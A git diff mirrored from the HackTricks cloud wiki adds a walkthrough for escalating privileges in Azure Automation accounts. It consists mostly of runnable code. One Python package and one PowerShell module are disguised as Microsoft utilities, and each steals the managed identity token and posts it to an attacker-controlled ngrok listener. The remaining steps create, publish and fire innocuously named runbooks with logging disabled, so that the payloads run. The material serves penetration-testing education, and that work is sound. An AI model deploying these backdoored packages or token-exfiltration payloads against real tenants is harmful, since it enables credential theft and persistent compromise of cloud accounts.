mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
+284
@@ -317,3 +317,287 @@ The scheduled task executes the payload, achieving SYSTEM-level privileges.
|
|||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
|
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||||
|
|
||||||
|
#### Automation - Malicious Python Packages
|
||||||
|
|
||||||
|
Automation accounts support **custom Python packages** that extend the functionality of runbooks. These packages execute inside the runbook container with the **same identity and permissions** as the runbook itself (like a system managed identity).
|
||||||
|
|
||||||
|
Having the ability to write to the automation account's module store, you can **backdoor a package** and get **persistent code execution** every time a runbook imports that module.
|
||||||
|
|
||||||
|
Additionally, this same process can be done for **custom runtime environments** and reassign an existing runbook to it.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> This technique does not require modifying any existing runbook code. Once the malicious package is imported, **any runbook** that imports it will execute your payload automatically.
|
||||||
|
|
||||||
|
This command will disclose any python packages that exist:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
az rest --method GET \
|
||||||
|
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||||
|
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||||
|
```
|
||||||
|
|
||||||
|
Create the setup to compile the python package:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat > setup.py << 'EOF'
|
||||||
|
import setuptools
|
||||||
|
|
||||||
|
with open("README.md", "r") as fh:
|
||||||
|
long_description = fh.read()
|
||||||
|
|
||||||
|
setuptools.setup(
|
||||||
|
name="az_log_helper",
|
||||||
|
version="1.0.2",
|
||||||
|
author="Azure Utilities",
|
||||||
|
author_email="azutils@microsoft.com",
|
||||||
|
description="Helper utilities for Azure Log Analytics integration.",
|
||||||
|
long_description=long_description,
|
||||||
|
long_description_content_type="text/markdown",
|
||||||
|
packages=setuptools.find_packages(),
|
||||||
|
python_requires='>=3.8',
|
||||||
|
)
|
||||||
|
EOF
|
||||||
|
```
|
||||||
|
|
||||||
|
Create the `__init__.py` to import everything from az\_log\_helper and create the python script to **exfiltrate a managed identity token** to your listener:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir -p az_log_helper
|
||||||
|
cat > az_log_helper/__init__.py << 'EOF'
|
||||||
|
from .az_log_helper import *
|
||||||
|
EOF
|
||||||
|
|
||||||
|
cat > az_log_helper/az_log_helper.py << 'EOF'
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
|
||||||
|
endpoint_url = "https://<YOUR-NGROK-URL>/"
|
||||||
|
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
|
||||||
|
|
||||||
|
if identity_endpoint:
|
||||||
|
params = {
|
||||||
|
'api-version': '2018-02-01',
|
||||||
|
'resource': 'https://management.azure.com/'
|
||||||
|
}
|
||||||
|
headers = {
|
||||||
|
'Metadata': 'true'
|
||||||
|
}
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = requests.get(identity_endpoint, params=params, headers=headers)
|
||||||
|
response.raise_for_status()
|
||||||
|
token = response.json()
|
||||||
|
requests.post(endpoint_url,
|
||||||
|
headers={'Content-Type': 'application/json'},
|
||||||
|
data=json.dumps({'token': token}))
|
||||||
|
except requests.exceptions.RequestException:
|
||||||
|
pass
|
||||||
|
EOF
|
||||||
|
```
|
||||||
|
|
||||||
|
Build the python package so it can be uploaded to Azure:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
pip install wheel --break-system-packages 2>/dev/null
|
||||||
|
python3 setup.py bdist_wheel
|
||||||
|
```
|
||||||
|
|
||||||
|
Provision a new runbook to execute the python package at runtime:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||||
|
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
|
||||||
|
--body "{
|
||||||
|
\"location\": \"centralus\",
|
||||||
|
\"properties\": {
|
||||||
|
\"runbookType\": \"Python3\",
|
||||||
|
\"description\": \"SSL certificate expiry checker\",
|
||||||
|
\"logProgress\": false,
|
||||||
|
\"logVerbose\": false
|
||||||
|
}
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
Upload the file contents into the runbook to load the python package when it runs, and then publish the runbook:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat > /tmp/py_runbook.py << 'EOF'
|
||||||
|
import az_log_helper
|
||||||
|
print("Log collection check complete.")
|
||||||
|
EOF
|
||||||
|
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
|
||||||
|
--headers "Content-Type=text/powershell" \
|
||||||
|
--body @/tmp/py_runbook.py
|
||||||
|
```
|
||||||
|
|
||||||
|
Publish the runbook:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
az automation runbook publish \
|
||||||
|
--resource-group $RESOURCE_GROUP \
|
||||||
|
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||||
|
--name $NEW_RUNBOOK_PY
|
||||||
|
```
|
||||||
|
|
||||||
|
Fire the runbook:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||||
|
--body "{
|
||||||
|
\"properties\": {
|
||||||
|
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
|
||||||
|
}
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
Once the runbook executes, the **managed identity token** is exfiltrated to your listener.
|
||||||
|
|
||||||
|
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||||
|
|
||||||
|
#### Automation - Malicious Modules
|
||||||
|
|
||||||
|
A minimal PowerShell module is just **two file types**: a `.psd1` manifest and a `.psm1` containing the code. The `.psd1` and `.psm1` filenames **must match the name of the `.zip`** exactly.
|
||||||
|
|
||||||
|
> [!TIP]
|
||||||
|
> This technique is the PowerShell equivalent of the Python package backdoor above. Custom modules are loaded at runtime with the **same privileges** as the runbook's managed identity.
|
||||||
|
|
||||||
|
The following command lists existing modules:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
az rest --method GET \
|
||||||
|
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||||
|
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
|
||||||
|
```
|
||||||
|
|
||||||
|
Create the module manifest (`.psd1`):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat > <MODULE_NAME>.psd1 << 'EOF'
|
||||||
|
@{
|
||||||
|
RootModule = '<MODULE_NAME>.psm1'
|
||||||
|
ModuleVersion = '2.1.0'
|
||||||
|
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
|
||||||
|
Author = 'Microsoft Corporation'
|
||||||
|
CompanyName = 'Microsoft'
|
||||||
|
Copyright = '(c) Microsoft Corporation. All rights reserved.'
|
||||||
|
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
|
||||||
|
CmdletsToExport = @()
|
||||||
|
VariablesToExport = @()
|
||||||
|
AliasesToExport = @()
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
```
|
||||||
|
|
||||||
|
Create the module code (`.psm1`) with the **token exfiltration payload**:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||||
|
function Invoke-AzNetworkDiagnostic {
|
||||||
|
$SuppressAzurePowerShellBreakingChangeWarnings = $true
|
||||||
|
Connect-AzAccount -Identity | Out-Null
|
||||||
|
$token = Get-AzAccessToken | ConvertTo-Json
|
||||||
|
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||||
|
EOF
|
||||||
|
```
|
||||||
|
|
||||||
|
Zip the module and upload it via the Azure portal. **The `.zip` name must match the `.psd1` and `.psm1` filenames exactly.**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||||
|
```
|
||||||
|
|
||||||
|
After uploading, verify the module is successfully imported:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
az rest --method GET \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
|
||||||
|
--query "properties.provisioningState"
|
||||||
|
|
||||||
|
# Expected output: "Succeeded"
|
||||||
|
```
|
||||||
|
|
||||||
|
Get the location of the automation account and create a new runbook that imports the malicious module:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
LOCATION=$(az automation account show \
|
||||||
|
--resource-group $RESOURCE_GROUP \
|
||||||
|
--name $AUTOMATION_ACCOUNT \
|
||||||
|
--query location -o tsv)
|
||||||
|
|
||||||
|
NEW_RUNBOOK="diagnostics-health-check"
|
||||||
|
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
|
||||||
|
--body "{
|
||||||
|
\"location\": \"${LOCATION}\",
|
||||||
|
\"properties\": {
|
||||||
|
\"runbookType\": \"PowerShell72\",
|
||||||
|
\"description\": \"Network diagnostics health check\",
|
||||||
|
\"logProgress\": false,
|
||||||
|
\"logVerbose\": false
|
||||||
|
}
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
Upload runbook content that calls the backdoored module function:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||||
|
Import-Module <MODULE_NAME>
|
||||||
|
Invoke-AzNetworkDiagnostic
|
||||||
|
Write-Output "Diagnostics complete."
|
||||||
|
EOF
|
||||||
|
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
|
||||||
|
--headers "Content-Type=text/powershell" \
|
||||||
|
--body @/tmp/ps_runbook.ps1
|
||||||
|
```
|
||||||
|
|
||||||
|
Publish the runbook and fire a job:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
az automation runbook publish \
|
||||||
|
--resource-group $RESOURCE_GROUP \
|
||||||
|
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||||
|
--name $NEW_RUNBOOK
|
||||||
|
|
||||||
|
az rest --method PUT \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||||
|
--body "{
|
||||||
|
\"properties\": {
|
||||||
|
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||||
|
}
|
||||||
|
}"
|
||||||
|
```
|
||||||
|
|
||||||
|
Within a minute the **managed identity token** is exfiltrated to your listener.
|
||||||
|
|
||||||
|
For troubleshooting, obtain the job ID and check the job streams for errors:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Get job ID from the job creation output, or list recent jobs
|
||||||
|
JOB_ID=$(az rest --method PUT \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||||
|
--body "{
|
||||||
|
\"properties\": {
|
||||||
|
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||||
|
}
|
||||||
|
}" --query "name" -o tsv)
|
||||||
|
|
||||||
|
# Check job output streams
|
||||||
|
az rest --method GET \
|
||||||
|
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||||
|
```
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user